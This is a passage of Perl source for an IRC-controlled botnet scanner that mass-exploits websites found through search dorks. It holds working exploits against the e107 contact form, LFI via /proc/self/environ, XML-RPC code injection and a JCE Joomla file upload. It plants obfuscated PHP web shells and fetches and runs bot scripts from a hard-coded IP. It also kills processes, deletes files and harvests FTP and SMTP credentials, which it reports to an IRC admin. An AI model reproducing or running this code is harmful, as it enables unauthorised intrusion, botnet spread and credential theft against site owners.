				if ($res =~ /lobexxx/) {
					my $check = &get_content($shellz);
					if ($check =~ /UnKnown - Simple Shell/) {
						&msg("$nick","$e107logo4$engine 4<9=4>9 SheLL 4<9=4>9 $shellz ");sleep(2);
					}
				} else { &msg("$chan","$e107logo4$engine 4<9=4>4 System 4<9=4>9 $test 4($sys) ");sleep(2); }
			}
		} exit; }
		}
	}
}

sub e107_rce_query() {
    my $url = $_[0];
    my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVOVEVQNWNKUDdEc3MzSmpnNGNxRWZwQkRGcWxKZ1N0UkFhSi8wQ3lHWHNXcktIdmJacDErUkZ4SC92eks2ZGwrT09SZWtpb1Rnenp6TXZ6ODZPNlg0czUrWHVqbTlYOFU5UlY4ZEZ1KzJUM1IwbWNpRWp5Y3BQZHk1ejdpRWErWlM0ZTF3cHB0MUpGQVp1MkI5YzN6cVQrR2I4NE55MzJ6ODk3ZTYwSHJuaU9pa3FvWWxDRG9IVVRiQUpQQ0p1K0dvd3ZLV1hvOUZhWnprSVZQUWUzVng4M21VUGc3L0dUamlLeHNPK0JWbUtad2tJR3FjeFRNWnZVNERCRWxydUJJWlRQbEtZaXFjc1Axa1pRRDlrd2FNWlIrbWdNY3FMbERtcitrckFObXgzS1paSGt1c2xoQS9QTG9Mb2Q5QUxJTURnNG9LZVBJTUttVyt2b0s0QmNVVXpURExwVU1ac29mUnhLZUtjdWF1T0hQc2RuZlZ0VUpDcDdwazk2RTlQa08rUmhzSFZZQlI1a1BLWWRDNjF2Y09oeEJLWW4zTjE5WklpcC91RUdxWG9QcjJNRmMvSVltc3NzU0JtcmN2alFhZlJDa2Q0MnJrVC9Sc1NNdm5Jc0pDNml6dE93TnF2MDRDNXFaV2F5bDhjZTMzS2VMRmVJTjYvTnlyeHFkdU16dS9CNk5aV3NrOHdIQnVjR2toSE1tNmJadUNFNThQK3pTaTY2UDhaWEo5ZEJZNlpoWlFwelltL1UvVUc1K09yNEcwVURRZURrV2J2MGM2aVBPQWl5U3FBNHJQaWJKa3hEOFljcDFFeUs3UE50MEo1d0xaNjRBZU8wUEdiVStqWWpoQ0FrbXhPZFVwbW5iSFRzZmhRRkF0T0RsVjFkeWZobkhKTXQzQzkzWWswZjloYVdwc1dZOWtVLzRmNXY1Q2t5T0RVZnY1Z1BnQThwZDRxdDFTN25jbUszQUp3UjhHaCs5U2xIclFhZ1FIMDBjYm90ajNhZm5pT01SQ2dtWXFudm9tVUwrRVJJcXhGYTVUTTFzN1oxODdOc3Q2VUR3OFJFa1U4MXFneVZOcmVEak90VWFKdXBaRmxBY2tJemt1eVZlMTlXTkJ4SjdKSStWZFlUQmJLVXYrKzAyVE1RQnJYSHZveUpveXJmV09FRHNsbkpRVk9pd2ZnNW9TZk51eHoybmo3dDBYYzNmMmZISUQrZnBJNkVWZm1nSEV5SnptdUUwUDZCdmNyaVkwR1BxV25yd3R0WHVSc0xOSlR3QzRYY3FXSlhwYk1wNXA5MFpTZ3hqNWE4cFJoZThOM2t2TzEzOGFoNURIT0t2UDdBZkFkck96VU9kbXVsTUVCbVJCc2xYWmV3b3ZINEE3U1M4ZGE1Vm83Mk0xL3REQXVzeUpCeVFYUG1IYWpnK2dYM2N4c21qSkVTcXQ1N1Z1QUtmQjROODRtL3FSb3pnODIycXRJWExPRmJoK1R6U0kyNHFPYWxuMzBlSjFVc0FVK1E1SnhzVVcranJjSXRzamFWQ2R0cGExNmExamVqUldMaXQwNmx0d3MyY293Ulk3YnZsemZnYjJXcWFQaDFPVUE2Y2s0ekVYR0xSemVPbzBremozZ0RNak1ibDQ4c3NoVGRIYUVBUGViRkoyWGthWEI1bDFJNDVrMGFERS9KQlJwZVBkVk14WHdsbkVwN29WMGJ4Y3kyZktIU0pMQXYwQlJnOG43T2h3c3IrTWVvU2ZrMmR5MkZ5TFhVTitvREdyRVZVazc4OVM4dVlEVnJLU0lmZUZYSzJ1ekxKVnp1Yk5FWWJlVWVXWUw0clRFa3NWcFJUQXlXWnp5anc0UDN4Rk1MUERwbmNIYlF5NG1ZcS9wbllhL0diUFQ1TER0ZkR6OUZ3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2ltYWdlcy9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOwo=";
    my $req = HTTP::Request->new(POST => $url);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(7);
    my $res = $ua->request($req);
    return $res->content;
}
 
sub e107_spread_query() {
    my $url = $_[0];
    my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3O2NkIC90bXA7cm0gLXJmIGRvci4qICoudHh0Lio7ZmV0Y2ggaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O3dnZXQgaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O2N1cmwgLU8gaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3htbC50eHQ7cGVybCB4bWwudHh0O3JtIC1yZiB4bWwudHh0O2x3cC1kb3dubG9hZCBodHRwOi8vMjE3LjE2LjguMjMvfndlYm1haWwveG1sLnR4dDtwZXJsIHhtbC50eHQ7Y2QgL3Zhci90bXA7cm0gLXJmIGRvci4qICouanBnLio7ZmV0Y2ggaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O3dnZXQgaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O2N1cmwgLU8gaHR0cDovLzIxNy4xNi44LjIzL353ZWJtYWlsL3hwbC50eHQ7cGVybCB4cGwudHh0O3JtIC1yZiB4cGwudHh0O2x3cC1kb3dubG9hZCBodHRwOi8vMjE3LjE2LjguMjMvfndlYm1haWwveHBsLnR4dDtwZXJsIHhwbC50eHQ7IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOw0KZnVuY3Rpb24gZXgoJGNmZSl7DQokcmVzID0gJyc7DQppZiAoIWVtcHR5KCRjZmUpKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsNCkBleGVjKCRjZmUsJHJlcyk7DQokcmVzID0gam9pbigiXG4iLCRyZXMpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsNCiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsNCkBvYl9zdGFydCgpOw0KQHN5c3RlbSgkY2ZlKTsNCiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXsNCkBvYl9zdGFydCgpOw0KQHBhc3N0aHJ1KCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpew0KJGYgPSBAcG9wZW4oJGNmZSwiciIpOw0Kd2hpbGUoIUBmZW9mKCRjZmUpKSB7ICRyZXMgLj0gQGZyZWFkKCRjZmUsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
    my $req = HTTP::Request->new(POST => $url);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(7);
    my $res = $ua->request($req);
}
sub lfi_exploit() {
	my $chan = $_[0];
	my $bug = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
		if ($count == $num-1) { &msg("$chan","$lfilogo4$engine 9Finished 4for 9$dork "); }
			my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";
			my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
			my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000";
				my $html = &get_content($test);
				if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
				if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
					my $res = lfi_env_query($test);
#					&lfi_spread_query($test);
					if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {
						my $os = $1;
						my $uid = $2;
						my $lficheck = &get_content($shell);
						if ($lficheck =~ /UnKnown - Simple Shell/){
							&msg("$nick","$lfilogo4$engine 4<9=4>9 SheLL 4<9=4>9 $shell 4(OS=$os) $uid ");
							&msg("$admin","$lfilogo4$engine 4<9=4>9 SheLL 4<9=4>9 $shell 4(OS=$os) $uid ");
						} else {
							&msg("$chan","$lfilogo4$engine 4<9=4>9 Vuln 4<9=4>9 $site 4(OS=$os) $uid ");
						}
					}
				}
			} exit; }
		}
	}
}
sub lfi_env_query() {
    my $url = $_[0];
    my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2gyQldScEtURWxkeUUwUWZvQ3lHWHNWaktMUGJaenhuRkd4SC92dlROcFZaYUYwbmZ6RXVmZVpyL09uTGxCOTNDNUtHcHFGRWFLRnlKRk9wYmFlaC92N2pBcEN4bFdTUlpGWmpGcUQ5SElkTVRkNDFjeDdiYWlNQWpEd2ZEeTJwbkduK003NTdiZC91RnVhcWRvenhYWFZrUUpXbnhsQ0U2dEpadkNJd2FNL2dwVDEvUjhQTDZLem9maG1ONmltNHZQVys1RThPY2tDTWZSY1RTd2dIYVJyZ0JPNHpRbXEwdk1DVkd3VVpNYmdha3huaUpaeFRPV0g2WU1vSis0NE5FY3VtZlFHT1ZTeXB4by8zaGdtenkwRkZncXlmVUswb2NuZEU1bk1ld0hrR0JyYVZPUEg0R0ZXYkZLUTVjQU1xV1pMSm4wb2VLaVEyMjZFbVRPM1BWUmp2Mk9RZnI5RWRCSHo4enVaeUVoeVZoT28rQnZPQTQyZ3ZLWWRDNjFzOE9oeEJJaVA4M1I2aVZTUWZjSk5WblJmVzBlSzU2UlgvRkxiMDRXVFpkVW5VSERGYkRXakdZakJrb2tjZktlYmlQMUZEZUNnR2hEbHdGbTB5czFuVDg3OXZxVW44aHRobXYzenJERWRHRWpuZCtDOGJXVGNZVmdLQnRIalNvcW1iQmFIVGpoNlhWak5ZN09CbjhFbHljWGdYQzBrREtsT2ZHZlEvM2g2ZVFpdUJ4VW8rRmo3Tnh0dExNc0Q3aFZzZ3FnK0t4clhuUE1BNW1qVnlTek5OdHQrOFFtZWRzQnZxT0VqdDRrb1NNcklRQWxpNExRcnVZNmNMMkorRjBVV0U0T1ZYVnRKK0dDY2t5M2NMMDRVZzJmRldQSkZQK2IrVCtScE1qZ3RINzhZRDY5N3JSVXZXaGFqMms3UnJCV0U5d0NjRWZCYnZ2VXBSNk1HSUVCYTlIRzZMWTkybjU0alFrRXdCQVZRbjJUS1YvQkkzRkxsL0FvbVQ4NTUxODdOOXR0UmowOFBDaFY4VGlqeWh4eWV6dk5yQktKaGtoVHlpVVVJNml0Y1puYWU1YWd5U3F4U1BsWFdFd1d5bEwvdnROa2pCQ05lQTk5R1JQRzFUNXJqdzdKWnlVRlRvc0g0T1p4SHpic1UrVzEvVnNsWVdIK1dBMUF2MXlrTG9TVU9VQ1p6RmFPZUFTWXZzSzlWMi9EZ1VKMjcyaFBRb3M4ajFMYUVOamxvcXcwMGF1UytVZXpMNW9TNU5pblZwN1NlbUpMV21iKzVMZHNLTG1QczhyOHZnTjhCenZyT2NmYm5USTRJSk1pcnpMTldHdmhHTnhPR3V1NDZid1pCNmY1bHhFbWNrbkVLVG5qR1ROd1p4RDllWm9GUWtZbTZtR1Y3WDBMTUlQNDJvM2F4SiswcnZuQmMzdTFpMWkyTk5GVWNiT0pqZnpJcG8xKy8xaGRWTEFsUGtPU2NiRkZ2bzYzQW5tVHRZOUI5WnBiTy9BV3ZSdXJGUm03YVhsanMxd3JFNUZsM1BMbDB4M1llSmsrbXBpNkhRaHRNQTZ6akdUN2h0ZEJVSWxtQ3pnRE1qck1pM3NXMmV3c2pSRGdmak5SNTNKeHcyRGpycnZ4V1ptNm1lK1NDcWUxZTZSRUJid2RUSXA3NFpIWVVsbTIvRzZWSlBEWGgzVXdiRituZytWbzFDZjBtRHlhMi9hTTVFMzBEY3RqVkF4eXRUTkN6UnVyWG5pbGNac0srcmxFMEtINXdMSkp1T01qOW9VbExuTXlXODJLcUlPeFovTVZXUDVVUlNkRzVDQ0xuUmNTZit6OUF3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcvdG1wL2xvYmV4JywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTsK';
    my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");
    $ua->timeout(7);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}

sub xml_exploit() {
	my $chan = $_[0];
	my $bug = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
		if ($count == $num-1) { &msg("$chan","$xmllogo4$engine 9Finished 4for 9$dork "); }
            my $test = "http://".$site.$bug;
            my $vuln = "http://".$site."12".$bug;
            my $html = &get_content($test);
            if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
            if ($html =~ /faultcode/i ) {
            my $resp = &xml_cek_query2($test);
			if ($resp =~ /Byroe(.*)Lobex/s) {
#			&xml_spread_query($test);sleep(1);
			my $sys = $1;
			my $shell = "http://".$site."/lobex.php";
			my $check = &get_content($shell);
				if ($check =~ /UnKnown - Simple Shell/) {
				my $safe = ""; my $os = ""; my $uid = "";
				if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
				if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
				if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
				&msg("$nick","$xmllogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				&msg("$admin","$xmllogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				}
#				else { 
#				&msg("$chan","0,1$xmllogo(4@8$engine4)4(13@12SysTem4)10 ".$vuln." 3".$sys); sleep(1);}
				}
			}
				} exit;
			}
		}
	}
	}

sub xml_cek_query() {
	my $url 	= $_[0];
	my $code = "system('uname -a');";
	my $ua = LWP::UserAgent->new(agent => 'perl post');
		$exploit = "<?xml version=\"1.0\"?><methodCall>";
		$exploit .= "<methodName>test.method</methodName>";
		$exploit .= "<params><param><value><name>',''));";
		$exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
	$ua->timeout(7);
	my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
	return $res->content;
}

sub xml_cek_query2() {
	my $url = $_[0];
	my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVOVEVQNWNKUDdEc3MzSmpnNGNxRWZwQkRGcWxKZ1N0UkFhSi8wQ3lHWHNXcktIdmJacDErUkZ4SC92eks2ZGwrT09SZWtpb1Rnenp6TXZ6ODZPNlg0czUrWHVqbTlYOFU5UlY4ZEZ1KzJUM1IwbWNpRWp5Y3BQZHk1ejdpRWErWlM0ZTF3cHB0MUpGQVp1MkI5YzN6cVQrR2I4NE55MzJ6ODk3ZTYwSHJuaU9pa3FvWWxDRG9IVVRiQUpQQ0p1K0dvd3ZLV1hvOUZhWnprSVZQUWUzVng4M21VUGc3L0dUamlLeHNPK0JWbUtad2tJR3FjeFRNWnZVNERCRWxydUJJWlRQbEtZaXFjc1Axa1pRRDlrd2FNWlIrbWdNY3FMbERtcitrckFObXgzS1paSGt1c2xoQS9QTG9Mb2Q5QUxJTURnNG9LZVBJTUttVyt2b0s0QmNVVXpURExwVU1ac29mUnhLZUtjdWF1T0hQc2RuZlZ0VUpDcDdwazk2RTlQa08rUmhzSFZZQlI1a1BLWWRDNjF2Y09oeEJLWW4zTjE5WklpcC91RUdxWG9QcjJNRmMvSVltc3NzU0JtcmN2alFhZlJDa2Q0MnJrVC9Sc1NNdm5Jc0pDNml6dE93TnF2MDRDNXFaV2F5bDhjZTMzS2VMRmVJTjYvTnlyeHFkdU16dS9CNk5aV3NrOHdIQnVjR2toSE1tNmJadUNFNThQK3pTaTY2UDhaWEo5ZEJZNlpoWlFwelltL1UvVUc1K09yNEcwVURRZURrV2J2MGM2aVBPQWl5U3FBNHJQaWJKa3hEOFljcDFFeUs3UE50MEo1d0xaNjRBZU8wUEdiVStqWWpoQ0FrbXhPZFVwbW5iSFRzZmhRRkF0T0RsVjFkeWZobkhKTXQzQzkzWWswZjloYVdwc1dZOWtVLzRmNXY1Q2t5T0RVZnY1Z1BnQThwZDRxdDFTN25jbUszQUp3UjhHaCs5U2xIclFhZ1FIMDBjYm90ajNhZm5pT01SQ2dtWXFudm9tVUwrRVJJcXhGYTVUTTFzN1oxODdOc3Q2VUR3OFJFa1U4MXFneVZOcmVEak90VWFKdXBaRmxBY2tJemt1eVZlMTlXTkJ4SjdKSStWZFlUQmJLVXYrKzAyVE1RQnJYSHZveUpveXJmV09FRHNsbkpRVk9pd2ZnNW9TZk51eHoybmo3dDBYYzNmMmZISUQrZnBJNkVWZm1nSEV5SnptdUUwUDZCdmNyaVkwR1BxV25yd3R0WHVSc0xOSlR3QzRYY3FXSlhwYk1wNXA5MFpTZ3hqNWE4cFJoZThOM2t2TzEzOGFoNURIT0t2UDdBZkFkck96VU9kbXVsTUVCbVJCc2xYWmV3b3ZINEE3U1M4ZGE1Vm83Mk0xL3REQXVzeUpCeVFYUG1IYWpnK2dYM2N4c21qSkVTcXQ1N1Z1QUtmQjROODRtL3FSb3pnODIycXRJWExPRmJoK1R6U0kyNHFPYWxuMzBlSjFVc0FVK1E1SnhzVVcranJjSXRzamFWQ2R0cGExNmExamVqUldMaXQwNmx0d3MyY293Ulk3YnZsemZnYjJXcWFQaDFPVUE2Y2s0ekVYR0xSemVPbzBremozZ0RNak1ibDQ4c3NoVGRIYUVBUGViRkoyWGthWEI1bDFJNDVrMGFERS9KQlJwZVBkVk14WHdsbkVwN29WMGJ4Y3kyZktIU0pMQXYwQlJnOG43T2h3c3IrTWVvU2ZrMmR5MkZ5TFhVTitvREdyRVZVazc4OVM4dVlEVnJLU0lmZUZYSzJ1ekxKVnp1Yk5FWWJlVWVXWUw0clRFa3NWcFJUQXlXWnp5anc0UDN4Rk1MUERwbmNIYlF5NG1ZcS9wbllhL0diUFQ1TER0ZkR6OUZ3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2xvYmV4LnBocCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7Cg==";
	my $ua = LWP::UserAgent->new(agent => 'perl post');
		$exploit = "<?xml version=\"1.0\"?><methodCall>";
		$exploit .= "<methodName>test.method</methodName>";
		$exploit .= "<params><param><value><name>',''));";
		$exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";
	$ua->timeout(7);
	my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
	return $res->content;
}

sub xml_spread_query() {
my $xmltargt = $_[0];
my $xmlsprd  = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";
		my $userAgent = LWP::UserAgent->new(agent => 'perl post');
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";
        $exploit .= "<params><param><value><name>',''));";
        $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
	$userAgent->timeout(7);
my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
}

sub jce_exploit() {
	my $chan = $_[0];
	my $bug = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
			my $shell = "http://".$site."images/stories/food.php";
            if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
			my $status = &jce_upload($site);&jce_upload($site);
			if ($status = 1) {
			my $check = &get_content($shell."?rf");
				if ($check =~ /UnKnown - Simple Shell/) {
				&get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+alb.txt%3Brm+alb*");
				my $safe = ""; my $os = ""; my $uid = "";
				my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
				my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
				if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
				if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
				if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
				if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
				if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
				if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
				if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
				if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
				if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
				if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
				if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
				&msg("$chan","$jcelogo4$engine 4<9=4>9 Target Sent To 4<9=4>9 $nick4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				if ($nick eq $admin) {
				&msg("$admin","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				} else {
				&msg("$nick","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				&msg("$admin","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				}
				if ($smtpauth =~ /1/) {
					&msg("$chan","4,1 [8SMTP4] Found on 8http://$site ");
					&msg("$admin","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
				}	
				if ($ftpopen =~ /1/){
					my $hozt = $site;
					$hozt =~ s/\///;
					&ftp($hozt,$ftpuser,$ftppass,$chan);
				}
			}
			}
		} exit;
			}
		if ($count == $num-1) {
			&msg("$chan","$jcelogo4$engine 9Finished 4for 9$dork ");
			if ($engine =~ /UoL/) {
				&sendraw("mode $chan -m");
			}
		}
		}
	}
}

sub jce_upload() {
my $success = 0;
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $path = $url;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$path =~ s/(.*)\/[^\/]*$/\1/;
$path .= "/";
$path =~ s/([-a-zA-Z0-9\.]+)/$2/;
if ($path eq "") { $path = "/" }
$header1P = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; 
$header1P2 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; 
$header2 = "Host: $host"; 
$header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; 
$header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; 
$header5 = "Content-Length: 5000"; 
$header6 = "-----------------------------41184676334"; 
$header7 = 'Content-Disposition: form-data; name="upload-dir"'; 
$header8 = '/'; 
$header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; 
$header10 = 'Content-Type: application/octet-stream'; 
$header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; 
$header12 = "0"; 
$header13 = 'Content-Disposition: form-data; name="Filedata"; filename="food.gif"'; 
$header14 = 'Content-Type: image/gif'; 
$header15 = 'GIF89aGlobex';
$header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1xVAcO16rSCQg6CqZRLYTGVr8Asjb2JtnDXlu7eGUp4r9qc9fOy8FE7mdEpNgz88w887Kz4VcVKkm8LJQRZervtw+3t8SE+DtPeGH8SRyFRNTrX91rcPaJ3Xtq7fZCj9tbrQehhVaKVxrSJfsAd835GB4RMPgnHNzQi+HwOr7oVFBth3chP3qoB+HfozAaxqNOzxmMi2cBFpSljCyYnBJA8MSQW4muEULRWbMJz/dGDqYfhRTxFEttKIzzIuXekv/SsFoeW5onlRJzAe6jk/MwvuyfheCgf35BD5+2t2um+StJSmBxUGZIZdWFiLNPm/FPspz7y4w89xufnJ0NoFlozvzeFAqcfA00CC/7w2MNlDOR+dTlDlpuCpAfpygNkiKnu4TaV9FdbcG0yMjv2BYmycyY8qDTdncFSHjSuZW9eBJk9cCRVZ3FrSQg7dVuQNxjpZb5s7bXXV4V65nFu2q2V2/iN6PzVDi88ZKskBzHBqdTF5VX+Poca9HpoGo9jM97f4VKJ5ehdHQh5doI0l1MnfVCVJfh1TAe9PtQ7y6gnWy5J3GSSGCKz03kcsaDZUnilCjuyuzi7RLnsO0S+IEjZ/CmETpjIwRTyawg9MgIk/HjkfxGFmZW9lVxuZN1xrPsqOO0VHBojJnUkFYBB1qLf2z3F5IUGWfs5w/2A4bHNEvGDehEdLwEt0AYStDwLvV2AHbGIIDaGCv02wF6vzXGCACQVSXSrvWUL+ARPCxQBJRZSsrpl8poTWKKhw2EgBRbGkq2ne1aN5NXJlMUkpRmCFNjvpJs6s5NgiI3ja2qq41FcqF91O9tHc8Oo0jtoC7j0qrae+9EobiplCQoCcC46e7jmtxBbS1/KcTt7bfEAOuvB6kDbsk8KJnKVo6rBCp9jbuVMFuDLqXHrxf0tMhmJtOmgFRPlpUhc0TyLjX8s6EEeNylVp7SWnpHjWax0js/lDywrLLv92DfTnPH3uEmRg4Nsi7yKjOiccpLu72UGdYwYtLBef4nhUSZFSwl5yLjNo0OTT/LcybSlMuarWncNwwmgK/VOJv4V+uYH5y3Skxc8blSH5BoEnj+sZoO/f63Oo7kZnygJMmY1l3DNgCOca2jcLOsrVhro7x46xUraeM5Y7NgK4tVBWH6ZWgGaU2WVIOp6QDo0SrsT8YNHN1rWla8O7CzU2kO8+KBx847QnA08F+EmLyMHQy27pJaYMPUcX6IK8zW7ZFzKuCG5CnuhSfiljHZ0FRIkmOtiQFE8KU7S14HdIQekid72p4VuR76pspjU3nJd3Ke2lurXnil4usT9HgzTvv2A8tN456P+XSe+OjJYTU3UR3E0o3VsmyX5isKUs1upfheCsU3ZEOThoKaAAF5SXliFkDDzaLhogk68IX3iZhJiuEht/dluyEIyPW/EuQ7S3uZJnsZ814k/h8=')))); ?> ";
$header17 = 'Content-Disposition: form-data; name="upload-name"'; 
$header18 = 'food'; 
$header19 = 'Content-Disposition: form-data; name="action"'; 
$header20 = 'upload'; 
$header21 = "-----------------------------41184676334--"; 
$header22 = 'X-Request: JSON'; 
$header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; 
$header25 = 'json={"fn":"folderRename","args":["/food.gif","food.php"]}'; 
$header24 = "Content-Length: ".length($header25)."";
